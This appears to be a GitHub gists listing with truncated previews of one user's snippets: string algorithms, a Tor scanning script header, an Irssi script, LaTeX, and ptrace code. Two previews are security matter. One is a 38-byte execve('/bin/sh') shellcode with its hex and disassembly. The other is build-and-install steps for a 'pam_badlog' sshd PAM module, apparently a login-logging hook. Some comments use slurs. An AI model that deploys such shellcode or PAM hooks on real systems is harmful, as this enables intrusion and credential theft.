This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// you faggots probably know the de bruijn trick to count trailing zeros: | |
inline int ctz32_retarded(uint32_t x) | |
{ | |
static const unsigned char debruijn_ctz32[32] = { | |
0, 1, 28, 2, 29, 14, 24, 3, 30, 22, 20, 15, 25, 17, 4, 8, | |
31, 27, 13, 23, 21, 19, 16, 7, 26, 12, 18, 6, 11, 5, 10, 9 | |
}; | |
return debruijn_ctz32[((x & -x) * 0x077CB531) >> 27]; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
static const unsigned char D[256] = | |
"\x3E\x29\xEB\x7F\x9E\xB9\x60\xC7\x8B\x18\x77\xA0\xD3\x35\xB5\x5F" | |
"\x44\x49\x1B\x74\xA3\x6A\xF5\xCD\x28\x88\x0C\x53\x01\xA4\xB6\x47" | |
"\x2E\x65\x9B\xC5\x83\x66\x10\x22\xDF\xFD\xD1\x70\x0A\xB1\x8A\xA9" | |
"\xF3\x21\x6B\x30\xF4\x27\xBC\x11\x15\xDD\xF7\xED\x48\xE1\x17\x9A" | |
"\x46\xC4\xB7\x6C\xD0\x91\xAA\x8E\xCC\xC6\x1F\x2C\x73\xDB\x5D\x71" | |
"\x1E\x6F\xFC\x33\xCA\x25\xF2\x4D\x0B\x1C\xF6\x06\xB8\x26\xC9\x36" | |
"\xB3\xE0\xBE\xD2\xDE\x67\xE6\x4F\x81\x3F\xF0\xD7\xC3\x00\x75\x6E" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Compute the Lyndon factorization of S[0..n-1]. | |
* O(n) time and O(1) space blabla. | |
* | |
* ... because Duval's algorithm is a piece of shit. | |
*/ | |
void lyn(unsigned char *S) | |
{ | |
int u, v; | |
u = v = 0; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* The Z array of a string S[0..n-1] gives for each suffix S[i..n-1], | |
* 0<=i<=n-1, the length of the longest common prefix with S. Example: | |
* | |
* i | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | |
* -----+--------------------------------------------------- | |
* S[i] | a a a b a a b b a a a b a a a a b | |
* Z[i] | 17 2 1 0 2 1 0 0 6 2 1 0 3 4 2 1 0 | |
* | |
* The Z algorithm computes the Z array in linear time, which has many |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
TORPROXY=("localhost", 9050) | |
CONTROLPORT=9051 | |
COOKIE="/var/lib/tor/control_auth_cookie" | |
URL="http://showip.net" | |
OUT="scan/" | |
RELAY="firsthop" | |
EXITS="exit-addresses" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use strict; | |
use warnings; | |
use Irssi; | |
our $VERSION = '0.0.6283185307'; | |
our %IRSSI = ( | |
authors => 'def', | |
contact => 'def <[email protected]>', | |
name => 'spoiler', | |
description => 'Colorize lines of idiots with black on black text', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* pam_badlog.c | |
* | |
* $ gcc -fPIC -fno-stack-protector -c pam_badlog.c | |
* $ sudo ld -x --shared -o /lib/security/pam_badlog.so pam_badlog.o | |
* $ rm pam_badlog.o | |
* | |
* then add "auth required pam_badlog.so" in the beginning of /etc/pam.d/sshd | |
* | |
* $ /etc/init.d/sshd restart |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <errno.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
struct elf { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
% Output: http://i.imgur.com/88G3s9V.png | |
\begin{equation} | |
\begin{split} | |
& \text{\large Primal} \\ | |
\text{min } & \sum_{j=1}^s x_j + Bz \\ | |
\text{s.t. } & | |
\begin{aligned}[t] | |
x_j + z &\ge 1 & \forall j = 1,2,\dots,s \\ | |
x_j &\ge 0 & \forall j = 1,2,\dots,s \\ | |
z &\ge 0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Linux x86(-64) - execve("/bin/sh", ["/bin/sh", 0], 0) shellcode (38 bytes) | |
* 31c050488b1424eb105478065e5fb03b0f05595b40b00bcd80e8ebffffff2f62696e2f736800 | |
* | |
* - offset - bytes 32-bit code 64-bit code | |
* 0x00000000 31c0 xor eax, eax xor eax, eax | |
* 0x00000002 50 push eax push rax | |
* 0x00000003 48 dec eax rex.w | |
* 0x00000004 8b1424 mov edx, dword [esp] mov rdx, qword [rsp] | |
* 0x00000007 eb10 jmp 0x19 jmp 0x19 |
OlderNewer